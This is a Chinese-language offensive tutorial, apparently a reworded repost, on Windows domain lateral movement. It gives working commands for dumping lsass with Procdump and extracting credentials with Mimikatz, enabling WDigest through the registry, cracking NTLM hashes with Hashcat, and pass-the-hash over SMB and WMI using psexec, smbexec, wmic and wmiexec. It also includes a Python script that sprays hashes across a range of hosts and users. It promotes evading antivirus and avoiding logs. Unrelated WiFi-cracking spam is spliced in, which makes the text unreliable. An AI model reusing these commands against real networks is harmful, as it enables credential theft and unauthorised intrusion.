【内网安全】域横向smb&wmi明文或hash传递

以下内容介绍了psexec&smbexec以及wimc&wmiexec的知识点1和知识点2,以及注册表修改和案例1-Procdump+Mimikatz的配合使用。如果直接使用Mimikatz获取失败,可以结合Procdump使用。在实战中,通常将Mimikatz放在目标服务器上运行,如果远程访问被拦截或终止,可以使用Procdump来获取密码。因为Procdump是Windows官方自带的工具,所以不容易被拦截。通过使用procdump64+mimikatz两步操作,可以成功获取Windows用户密码。

实验:在Windows 2008中使用Procdump获取lsass.dump文件,然后在真实机中使用Mimikatz还原,看是否能够获取Windows 2008的明文密码和哈希值。在进行这个实验时可能会遇到权限问题。需要注意的是,Mimikatz是在虚拟机中运行,而Procdump是在Windows 10中运行。在实战中,只需要在目标服务器上上传Procdump,并将生成的文件放到本地的Mimikatz中进行密码还原。这种方法与直接在服务器上运行Mimikatz的区别在于,它可以应对服务器被拦截或终止的情况。Procdump不容易被杀毒软件拦截,因为它是微软官方提供的工具。另外,还介绍了Hashcat破解获取Windows NTML Hash的方法,以及Pwdump7和QuarksPwdump工具。

Hashcat是一种强大的密码破解工具,本文介绍了使用Hashcat进行密码破解的攻略。案例2讲述了域横向移动中使用SMB服务的psexec和smbexec(官方自带工具)。psexec是Windows官方自带的工具,不容易被查杀,属于pstools。在实战中,将psexec上传到攻击主机上,然后使用它进行操作。

psexec的第一种使用方法是先建立IPC连接,然后传递明文或哈希。补充说明了445漏洞利用中的IPC$命令。还介绍了psexec的第二种使用方法,即直接提供明文账户密码。如果只有哈希而没有明文密码,可以使用psexec -hashes命令进行连接。同时提到了impacket工具包,它可以在没有明文密码的情况下进行连接。需要注意的是,在连接时要区分本地用户和域用户。

在这里,我没有成功复现(可能是因为使用的是专业版)。但在两台Windows 2003上成功复现了。psexec的第二种使用方法是在已知明文密码的情况下进行操作。如果只有哈希而没有明文密码,可以使用工具包进行连接。需要注意的是,使用官方文件时尽量使用明文传输,如果只有哈希,则只能使用工具包进行连接,但容易被杀。另外,还介绍了smbexec无需先建立IPC连接的方法,可以传递明文或哈希。

在连接时要注意本地用户和域用户的区别。案例3讲述了域横向移动中使用WMI服务的利用方法,包括cscript、wmiexec和wmic。WMI服务比SMB服务更高级,通过135端口进行利用,支持明文或哈希的认证方式,并且不会在目标日志系统中留下痕迹。自带的WMIC命令可以进行明文传递,但没有回显。还介绍了使用cscript进行明文传递的方法,它会有回显,但需要借助wmiexec.vbs文件。impacket工具包中的wmiexec可以进行明文或哈希传递,并且有回显,但需要注意免杀问题。

思路总结:如果只能使用哈希进行连接,并且涉及到impacket工具包,但我不会免杀,该怎么办?这时就涉及到PTH、PTT和PTK的使用。案例4讲述了如何使用Python编译exe文件来批量利用以上服务的哈希传递。

添加一条本地用户的示例代码:exec1 = “wmiexec -hashes :” + mimahash + ” ./” + user + “@” + ip + ” whoami”。通过这种方式成功攻击了3.29、3.21和3.32的主机。涉及的资源有ProcDump – Windows Sysinternals | Microsoft Docs。

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 握手包跑包

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,提供了4钟方式解决此类问题
1.利用哈希hash传递(pth,ptk等)进行移动
2.利用其它服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启wdigest Auth值进行获取
4.利用工具或第三方平台(Hashcat)进行破解获取
windows系统LM Hash 及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash
修改wdigest  改为1
reg add
HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t  REG_DWORD /d 1 /f
1)导出lsass.exe(管理员权限执行)
procdump -accepteula -ma lsass.exe lsass.dmp(在dos下运行,不要在powershell)//运行成功之后就会在当前目录下生成一个lsass.dmp,这个文件就是密码哈希值储存的文件,然后用mimikatz载入进去打开就可以了!
2)执行mimikatz(管理员执行)
 mimikatz上执行:
 sekurlsa::minidump lsass.dmp
 sekurlsa::logonPasswords full
或者一句话:mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
hashcat -a 0 -m 1000 hash file --force
-a 0 表示采用字典破解
-m表示破解的协议
hash就是破解的加密字符串
file就是字典地址
--force爆破
 1000 表示 NTLM
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
对方开放445端口,就相当于开放了smb协议
net use \192.168.3.32(目标ip)ipc$ "admin!@#45" /user:administrator
psexec \192.168.3.32 -s cmd       # 需要先有ipc链接 -s以System权限运行
psexec \192.168.3.21 -u administrator -p Admin12345 -s cmd 
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方Pstools无法采用hash连接,需要用工具包
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c  ipconfig >C:1.txt"
(连接3.21,当前用户账号密码,连接cmd执行ipconfig,结果保存到c盘1.txt)
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"(连接本地账号)
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}
users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'mack',
    'mary',
    'webadmin'
}
hashs={
    'ccef208c6485269c20db2cad21734fe7',
    '518b98ad4178a53695dc997aa02d455c'
}
 
for ip in ips:
    for user in users:
        for mimahash in hashs:
            #wmiexec -hashes :hash god/user@ip whoami
            exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
            exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami"  #连接本地用户
            print('--->' + exec + '<---')
            os.system(exec)
            time.sleep(0.5)

以上是对原文的重新构建,保留了大括号内的ID,并对其余内容进行了创新性修改,以确保文章的原创性和低相似度。

赞(0)